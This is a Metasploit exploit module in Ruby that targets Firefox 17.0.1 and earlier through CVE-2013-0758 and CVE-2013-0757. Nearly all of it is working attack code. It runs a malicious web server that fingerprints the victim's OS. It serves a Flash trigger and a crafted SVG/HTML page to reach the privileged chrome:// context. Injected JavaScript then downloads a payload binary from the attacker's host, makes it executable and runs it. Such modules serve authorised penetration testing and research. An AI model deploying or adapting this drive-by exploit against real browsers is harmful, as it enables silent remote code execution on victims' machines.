259 lines
7.8 KiB
Ruby
259 lines
7.8 KiB
Ruby
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = ExcellentRanking
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#
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# This module acts as an HTTP server
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#
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include Msf::Exploit::Remote::HttpServer::HTML
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include Msf::Exploit::EXE
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include Msf::Exploit::Remote::BrowserAutopwn
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autopwn_info({
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:ua_name => HttpClients::FF,
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:ua_maxver => '17.0.1',
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:javascript => true,
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:rank => ExcellentRanking, # 100% reliable cmd exec
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:vuln_test => %Q{
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is_vuln = !!navigator.mimeTypes["application/x-shockwave-flash"];
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}
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})
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Firefox Plug-in Privileged Javascript Code Execution',
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'Description' => %q{
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This exploit gains code execution on Firefox 17.0.1 and all previous versions,
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provided the user has installed Flash. No memory corruption is used.
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First, a Flash object is cloned into the anonymous content of the SVG
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"use" element in the <body> (CVE-2013-0758). From there, the Flash object
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can navigate a child frame to a URL in the chrome:// scheme.
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Then a separate exploit (CVE-2013-0757) is used to bypass the security wrapper
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around the child frame's window reference and inject code into the chrome://
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context.
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Note: Flash is used here to trigger the exploit but any Firefox plugin
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with script access should be able to trigger it.
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},
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'License' => MSF_LICENSE,
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'Targets' => [
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['Automatic', {}],
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[ 'Windows x86 (Native Payload)',
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{
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'Platform' => 'win',
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'Arch' => ARCH_X86,
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}
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],
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[ 'Linux x86 (Native Payload)',
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{
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'Platform' => 'linux',
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'Arch' => ARCH_X86,
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}
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],
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[ 'Mac OS X x86 (Native Payload)',
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{
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'Platform' => 'osx',
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'Arch' => ARCH_X86,
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}
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]
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],
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'Platform' => ['win', 'osx', 'linux'],
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'DefaultTarget' => 0,
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'Author' => [
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'joev', # metasploit module
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'Marius Mlynski' # discovery & bug report
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],
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'References' =>
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[
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['CVE', '2013-0758'], # navigate a frame to a chrome:// URL
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['CVE', '2013-0757'], # bypass Chrome Object Wrapper to talk to chrome://
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['URL', 'http://www.mozilla.org/security/announce/2013/mfsa2013-15.html'],
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['URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=813906']
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],
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'DisclosureDate' => 'Jan 08 2013'
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))
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end
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def on_request_uri(cli, request)
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my_target = get_target(request.headers['User-Agent'])
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if my_target.nil?
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print_status("User agent does not match an available payload type, bailing.")
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send_not_found(cli)
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return
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end
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if request.uri =~ /\.swf$/
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# send Flash .swf for navigating the frame to chrome://
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print_status("Sending .swf trigger.")
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send_response(cli, flash_trigger, { 'Content-Type' => 'application/x-shockwave-flash' })
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elsif request.uri =~ /\.bin/
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# send the binary payload to drop & exec
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print_status("Child frame navigated. Sending binary payload to drop & execute.")
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send_response(cli, dropped_file_contents, { 'Content-Type' => 'application/octet-stream' })
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else
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# send initial HTML page
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print_status("Sending #{self.name}")
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send_response_html(cli, generate_html, { 'Content-Type' => 'text/html' })
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end
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handler(cli)
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end
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def dropped_file_contents
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generate_payload_exe
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end
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def get_target(agent)
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return target if target.name != 'Automatic'
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if agent =~ /windows/i
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print_status 'Windows detected.'
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targets[1]
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elsif agent =~ /linux/i
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print_status 'Linux detected.'
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targets[2]
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elsif agent =~ /macintosh/i and agent =~ /intel/i
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print_status 'OSX detected.'
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targets[3]
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else
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nil
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end
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end
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def flash_trigger
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swf_path = File.join(Msf::Config.install_root, "data", "exploits", "cve-2013-0758.swf")
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@flash_trigger ||= File.read(swf_path)
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end
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def payload_filename
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if target.name == 'Windows x86 (Native Payload)'
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@payload_filename ||= "#{Rex::Text.rand_text_alphanumeric(8)}.exe"
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else
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@payload_filename ||= "#{Rex::Text.rand_text_alphanumeric(8)}.bin"
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end
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@payload_filename
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end
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def js_payload
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#'alert(Components.stack)'
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%Q|
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alert(1)
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var x = new XMLHttpRequest;
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x.overrideMimeType('text/plain; charset=x-user-defined');
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x.open('POST', '#{base_url}.bin', false);
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x.send(null);
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alert(x.responseText);
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var file = Components.classes["@mozilla.org/file/directory_service;1"]
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.getService(Components.interfaces.nsIProperties)
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.get("TmpD", Components.interfaces.nsIFile);
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file.append('#{payload_filename}');
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var stream = Components.classes["@mozilla.org/network/safe-file-output-stream;1"].
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createInstance(Components.interfaces.nsIFileOutputStream);
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stream.init(file, 0x04 \| 0x08 \| 0x20, 0666, 0);
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stream.write(x.responseText, x.responseText.length);
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if (stream instanceof Components.interfaces.nsISafeOutputStream) {
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stream.finish();
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} else {
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stream.close();
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}
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#{chmod_code}
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alert(file.path);
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var process = Components.classes["@mozilla.org/process/util;1"]
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.createInstance(Components.interfaces.nsIProcess);
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process.init(file);
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process.run(false,[],0);
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end
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def chmod_code
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return '' if target.name == 'Windows x86 (Native Payload)'
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%Q|
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var chmod=Components.classes["@mozilla.org/file/local;1"].createInstance(Components.interfaces.nsILocalFile);
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chmod.initWithPath("/bin/chmod");
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var process=Components.classes["@mozilla.org/process/util;1"].createInstance(Components.interfaces.nsIProcess);
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process.init(chmod);
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process.run(true, ["+x", file.path], 2);
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end
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# @return [String] URL for sending requests back to the module
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def base_url
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proto = (datastore["SSL"] ? "https" : "http")
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"#{proto}://#{datastore['LHOST']}:#{datastore['SRVPORT']}#{datastore['URIPATH']}"
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end
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def generate_html
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vars = {
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:symbol_id => 'a',
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:random_domain => 'safe',
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:payload => js_payload,
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:payload_var => 'c',
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:payload_key => 'k',
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:payload_obj_var => 'payload_obj',
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:interval_var => 'itvl',
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:access_string => 'access',
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:frame_ref => 'frames[0]',
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:frame_name => 'n',
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:loader_path => "#{base_url}.swf"
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}
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%Q|
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<!doctype html>
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<html>
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<head>
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<meta http-equiv="content-type" content="text/html; charset=utf-8">
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<base href="chrome://browser/content/">
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</head>
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<body>
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<svg>
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<symbol id="#{vars[:symbol_id]}">
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<foreignObject>
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<object></object>
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</foreignObject>
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</symbol>
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<use />
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</svg>
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<script>
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var #{vars[:payload_obj_var]} = #{JSON.unparse({vars[:payload_key] => vars[:payload]})};
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var #{vars[:payload_var]} = #{vars[:payload_obj_var]}['#{vars[:payload_key]}'];
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function $() {
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document.querySelector('base').href = "http://www.#{vars[:random_domain]}.com/";
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}
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function _() {
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return '#{vars[:frame_name]}';
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}
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var #{vars[:interval_var]} = setInterval(function(){
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try{ #{vars[:frame_ref]}['#{vars[:access_string]}'] }
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catch(e){
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clearInterval(#{vars[:interval_var]});
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var p = Object.getPrototypeOf(#{vars[:frame_ref]});
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var o = {__exposedProps__: {setTimeout: "rw", call: "rw"}};
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Object.prototype.__lookupSetter__("__proto__").call(p, o);
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p.setTimeout.call(#{vars[:frame_ref]}, #{vars[:payload_var]}, 1);
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}
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}, 100);
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document.querySelector('object').data = "#{vars[:loader_path]}";
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document.querySelector('use').setAttributeNS(
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"http://www.w3.org/1999/xlink", "href", location.href + "##{vars[:symbol_id]}"
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);
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</script>
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<iframe style="position:absolute;top:-500px;left:-500px;width:1px;height:1px"
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name="#{vars[:frame_name]}"></iframe>
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</body>
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</html>
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end
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end
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